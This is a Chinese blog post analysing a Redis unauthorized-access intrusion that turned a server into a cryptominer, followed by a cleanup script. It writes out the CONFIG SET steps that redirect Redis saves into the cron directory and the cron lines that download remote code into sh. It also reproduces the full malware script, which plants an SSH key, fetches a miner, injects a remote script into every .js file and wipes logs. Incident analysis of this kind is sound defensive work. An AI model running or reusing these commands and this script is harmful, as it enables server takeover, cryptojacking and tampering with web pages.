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Redis未授权访问缺陷,服务器变矿机

发布时间：2019-04-19 编辑：三石兄 标签： RedisLinux 热度：4969

分析Redis未授权访问缺陷,导致服务器变矿机的攻防

1. 入侵原理

  1. 由于redis没有安全配置，黑客利用redis安全漏洞入侵了服务器。

  2. 攻击者通过redis命令 config set与save完成入侵过程.使用redis-cli -h <ip> <port> 登录服务redis-server,将redis的数据文件改到/var/spool/cron/root文件中，再通save 命令将定时任务shell脚本写入到/var/spool/cron/root 中，完成定时执行shell脚本，来实现提权及其它操作;

2. 具体操作如下

2.1 使用telnet登录redis

使用命令“telnet ip port”命令登录，例如

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telnet ***.**.**.112 6379，登录后，输入auth和密码进行认证。

2.2 修改dbfilename名称

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CONFIG SET dbfilename root

2.3 修改dir文件路径到/var/spool/cron

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CONFIG SET dir /var/spool/cron

2.4 设置定时任务执行脚本

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set Back1 "\t\n*/2 * * * * curl -fsSL http://xxx.xxx.com:43768/shz.sh | sh\n\t"
 
set Back2 "\t\n*/5 * * * * wget -O .cmd http://xxx.xxx.xxx.xxx:43768/shz.sh && bash .cmd\n\t"
 
set Back3 "\t\n*/10 * * * * lynx -source http://xxx.xxx.xxx.xxx:43768/shz.sh > .cmd && bash .cmd\n\t"

2.5 使用save保存定时任务文件

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save

2.6 查看定时任务信息

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crontab -l
 
REDIS0007    redis-ver3.2.5
redis-bits￀㨭ebێused-mem8þ
 
Back1?
*/2 * * * * curl -fsSL http://xxx.xxx.com:43768/shz.sh | sh
    Back3@S   
*/10 * * * * lynx -source http://xxx.xxx.xxx.xxx:43768/shz.sh > .cmd && bash .cmd
Back2@K975735
*/5 * * * * wget -O .cmd http://xxx.xxx.xxx.xxx:43768/shz.sh && bash .cmd

可以看到定时任务会定时去请求脚本并执行

2.6 shz.sh脚本信息如下

这部份脚本大家自己分析吧，大至的意思就是禁用了SELINUX,添加了SSH免登录，修改了wget、curl为get、url,重新写了个定时任务脚本，并下载了zijw文件使用charrt +i zijw ，让用户不能删除zijw文件，向服务器所有.js文件添加了一段脚本，封掉管理，云X等软件访问端口并将进行kill 掉，最后清理入侵日志;

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#!/bin/sh
setenforce 0 2>dev/null
echo SELINUX=desabled > /etc/sysconfig/selinux 2>/dev/null
sync && echo 3 >/proc/sys/vm/drop_caches
crondir='/var/spool/cron/'"$USER"
cont=`cat ${crondir}`
ssht=`cat /root/.ssh/authorized_keys`
echo 1 > /etc/gmbpr2
rtdir="/etc/gmbpr2"
oddir="/etc/gmbpr"
bbdir="/usr/bin/curl"
bbdira="/usr/bin/url"
ccdir="/usr/bin/wget"
ccdira="/usr/bin/get"
mv /usr/bin/wget /usr/bin/get
mv /usr/bin/curl /usr/bin/url
if [ -f "$oddir" ]
    then
        pkill zjgw
        chattr -i /etc/shz.sh
        rm -f /etc/shz.sh
        chattr -i /tmp/shz.sh
        rm -f /tmp/shz.sh
        chattr -i  /etc/gmbpr
        rm -f /etc/gmbpr
    else
        echo "ok"
fi
if [ -f "$rtdir" ]
    then
        echo "goto 1" >> /etc/gmbpr2
        chattr -i $cont
        if [ -f "$bbdir" ]
            then
                [[ $cont =~ "shz.sh" ]] || echo "*/10 * * * * curl -fsSL http://xxx.xxx.com:43768:43768/shz.sh | sh" >> ${crondir}
            else
                [[ $cont =~ "shz.sh" ]] || echo "*/10 * * * * url -fsSL http://xxx.xxx.com:43768:43768/shz.sh | sh" >> ${crondir}
        fi
        mkdir /root/.ssh
        [[ $ssht =~ "xvsRtqHLMWoh" ]] || chmod 700 /root/.ssh/
        [[ $ssht =~ "xvsRtqHLMWoh" ]] || echo >> /root/.ssh/authorized_keys
        [[ $ssht =~ "xvsRtqHLMWoh" ]] || chmod 600 /root/.ssh/authorized_keys
        [[ $ssht =~ "xvsRtqHLMWoh" ]] || echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFNFCF6tOvSqqN9Zxc/ZkBe2ijEAMhqLEzPe4vprfiPAyGO8CF8tn9dcPQXh9iv5/vYEbaDxEvixkTVSJpWnY/5ckeyYsXU9zEeVbbWkdRcuAs8bdVU7PxVq11HLMxiqSR3MKIj7yEYjclLHRUzgX0mF2/xpZEn4GGL+Kn+7GgxvsRtqHLMWoh2Xoz7f8Rb3KduYiJlZeX02a4qFXHMSkSkMnHirHHtavIFjAB0y952+1DzD36a8IJJcjAGutYjnrZdKP8t3hiEw0UBADhiu3+KU641Kw9BfR9Kg7vZgrVRf7lVzOn6O8YbqgunZImJt+uLljgpP0ZHd1wGz+QSHEd Administrator@Guess_me" >> /root/.ssh/authorized_keys
        ps -fe|grep zigw |grep -v grep
        if [ $? -ne 0 ]
            then
                cd /etc
                filesize=`ls -l zigw | awk '{ print $5 }'`
                file="/etc/zigw"
                if [ -f "$file" ]
                    then
                        if [ "$filesize" -ne "1467080" ]
                            then
                                chattr -i /etc/zigw
                                rm -f zigw
                                if [ -f "$bbdir" ]
                                then
                                    curl --connect-timeout 10 --retry 10 http://xxx.xxx.com:43768/zigw > /etc/zigw
                                elif [ -f "$bbdira" ]
                                then
                                    url --connect-timeout 10 --retry 10 http://xxx.xxx.com:43768/zigw > /etc/zigw
                                elif [ -f "$ccdir" ]
                                then
                                    wget --timeout=10 --tries=10 -P /etc http://xxx.xxx.com:43768/zigw
                                elif [ -f "$ccdira" ]
                                then
                                    get --timeout=10 --tries=10 -P /etc http://xxx.xxx.com:43768/zigw
                                fi
                        fi
                    else
                        if [ -f "$bbdir" ]
                        then
                            curl --connect-timeout 10 --retry 10 http://xxx.xxx.com:43768/zigw > /etc/zigw
                        elif [ -f "$bbdira" ]
                        then
                            url --connect-timeout 10 --retry 10 http://xxx.xxx.com:43768/zigw > /etc/zigw
                        elif [ -f "$ccdir" ]
                        then
                            wget --timeout=10 --tries=10 -P /etc http://xxx.xxx.com:43768/zigw
                        elif [ -f "$ccdira" ]
                        then
                            get --timeout=10 --tries=10 -P /etc http://xxx.xxx.com:43768/zigw
                        fi
                fi
                chmod 777 zigw
                sleep 1s
                ./zigw
            else
                echo "runing....."
        fi
        chmod 777 /etc/zigw
        chattr +i /etc/zigw
        chmod 777 /etc/shz.sh
        chattr +i /etc/shz.sh
        shdir='/etc/shz.sh'
        if [ -f "$shdir" ]
            then
                echo "exists shell"
            else
                if [ -f "$bbdir" ]
                then
                    curl --connect-timeout 10 --retry 10 http://xxx.xxx.xxx.xxx:43768/shz.sh > /etc/shz.sh
                elif [ -f "$bbdira" ]
                then
                    url --connect-timeout 10 --retry 10 http://xxx.xxx.xxx.xxx:43768/shz.sh > /etc/shz.sh
                elif [ -f "$ccdir" ]
                then
                    wget --timeout=10 --tries=10 -P /etc http://xxx.xxx.xxx.xxx:43768/shz.sh
                elif [ -f "$ccdira" ]
                then
                    get --timeout=10 --tries=10 -P /etc http://xxx.xxx.xxx.xxx:43768/shz.sh
                fi
                sh /etc/shz.sh
        fi
    else
        echo "goto 1" > /tmp/gmbpr2
        chattr -i $cont
        if [ -f "$bbdir" ]
            then
                [[ $cont =~ "shz.sh" ]] || echo "*/10 * * * * curl -fsSL http://xxx.xxx.com:43768:43768/shz.sh | sh" >> ${crondir}
            else
                [[ $cont =~ "shz.sh" ]] || echo "*/10 * * * * url -fsSL http://xxx.xxx.com:43768:43768/shz.sh | sh" >> ${crondir}
        fi
        ps -fe|grep zigw |grep -v grep
        if [ $? -ne 0 ]
            then
                cd /tmp
                filesize=`ls -l zigw | awk '{ print $5 }'`
                file="/tmp/zigw"
                if [ -f "$file" ]
                    then
                        if [ "$filesize" -ne "1467080" ]
                            then
                                chattr -i /tmp/zigw
                                rm -f zigw
                                if [ -f "$bbdir" ]
                                then
                                    curl --connect-timeout 10 --retry 10 http://xxx.xxx.com:43768/zigw > /tmp/zigw
                                elif [ -f "$bbdira" ]
                                then
                                    url --connect-timeout 10 --retry 10 http://xxx.xxx.com:43768/zigw > /tmp/zigw
                                elif [ -f "$ccdir" ]
                                then
                                    wget --timeout=10 --tries=10 -P /tmp http://xxx.xxx.com:43768/zigw
                                elif [ -f "$ccdira" ]
                                then
                                    get --timeout=10 --tries=10 -P /tmp http://xxx.xxx.com:43768/zigw
                                fi
                        fi
                    else
                        if [ -f "$bbdir" ]
                        then
                            curl --connect-timeout 10 --retry 10 http://xxx.xxx.com:43768/zigw > /tmp/zigw
                        elif [ -f "$bbdira" ]
                        then
                            url --connect-timeout 10 --retry 10 http://xxx.xxx.com:43768/zigw > /tmp/zigw
                        elif [ -f "$ccdir" ]
                        then
                            wget --timeout=10 --tries=10 -P /tmp http://xxx.xxx.com:43768/zigw
                        elif [ -f "$ccdira" ]
                        then
                            get --timeout=10 --tries=10 -P /tmp http://xxx.xxx.com:43768/zigw
                        fi
                fi
                chmod 777 zigw
                sleep 1s
                ./zigw
            else
                echo "runing....."
        fi
        chmod 777 /tmp/zigw
        chattr +i /tmp/zigw
        chmod 777 /tmp/shz.sh
        chattr +i /tmp/shz.sh
        shdir='/tmp/shz.sh'
        if [ -f "$shdir" ]
            then
                echo "exists shell"
            else
                if [ -f "$bbdir" ]
                then
                    curl --connect-timeout 10 --retry 10 http://xxx.xxx.xxx.xxx:43768/shz.sh > /tmp/shz.sh
                elif [ -f "$bbdira" ]
                then
                    url --connect-timeout 10 --retry 10 http://xxx.xxx.xxx.xxx:43768/shz.sh > /tmp/shz.sh
                elif [ -f "$ccdir" ]
                then
                    wget --timeout=10 --tries=10 -P /tmp http://xxx.xxx.xxx.xxx:43768/shz.sh
                elif [ -f "$ccdira" ]
                then
                    get --timeout=10 --tries=10 -P /tmp http://xxx.xxx.xxx.xxx:43768/shz.sh
                fi
                sh /tmp/shz.sh
        fi
fi
iptables -F
iptables -X
iptables -A OUTPUT -p tcp --dport 3333 -j DROP
iptables -A OUTPUT -p tcp --dport 5555 -j DROP
iptables -A OUTPUT -p tcp --dport 7777 -j DROP
iptables -A OUTPUT -p tcp --dport 9999 -j DROP
iptables -A OUTPUT -p tcp --dport 14444 -j DROP
iptables-save
service iptables reload
ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9
netstat -ano|grep :3333|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9
netstat -ano|grep :4444|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9
netstat -ano|grep :5555|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9
netstat -ano|grep :6666|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9
netstat -ano|grep :7777|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9
netstat -ano|grep :3347|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9
netstat -ano|grep :14444|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9
netstat -ano|grep :14443|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9
find / -name '*.js'|xargs grep -L f4ce9|xargs sed -i '$a\document.write\('\'\<script\ src=\"http://t.cn/EvlonFh\"\>\</script\>\<script\>OMINEId\(\"e02cf4ce91284dab9bc3fc4cc2a65e28\",\"-1\"\)\</script\>\'\)\;
history -c
echo > /var/spool/mail/root
echo > /var/log/wtmp
echo > /var/log/secure
echo > /root/.bash_history
echo > /var/spool/mail/root

2. 清理入侵

2.1 整理清理脚本

因为有定时任务会定时执行，导至如果短时间不能做完所有操作，前面做的清理都变成无用功，所以先理清原理，制做脚本批量清理就OK了。清理脚本如下:
clearxmr.sh

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# 先关掉redis端口
iptables -A INPUT -p tcp --dport 6379 -j DROP
# 清理定时任务
crontab -r
# 清除redis key Back1 Back3 Back3
redis-cli -h xxx.xxx.xxx.xxx -x del Back1
redis-cli -h xxx.xxx.xxx.xxx -x del Back2
redis-cli -h xxx.xxx.xxx.xxx -x del Back3
redis-cli -h xxx.xxx.xxx.xxx -x CONFIG SET dbfilename dump.rdb
redis-cli -h xxx.xxx.xxx.xxx -x CONFIG SET dir /tmp
redis-cli -h xxx.xxx.xxx.xxx -x save
# 清理运行脚本
kill -9 `ps -ef|grep shz.sh|grep -v grep|awk '{print $2}'`
kill -9 `ps -ef|grep zigw|grep -v grep|awk '{print $2}'`
kill -9 `ps -ef|grep cmd|grep -v grep|awk '{print $2}'`
chattr -i /etc/zigw
chattr -i /tmp/zigw
chattr -i /tmp/shz.sh
rm -rf /etc/zigw
rm -rf /tmp/zigw
rm -rf /tmp/shz.sh
rm -rf ~/.cmd
 
# 清理SSH免登录信息
cat /dev/null> ~/.ssh/authorized_keys
# 清理js脚本
find / -name '*.js'|xargs grep -L f4ce9|xargs sed -i '$d'
mv /usr/bin/get /usr/bin/wget
mv /usr/bin/url /usr/bin/curl

附个清理的其它方式脚本

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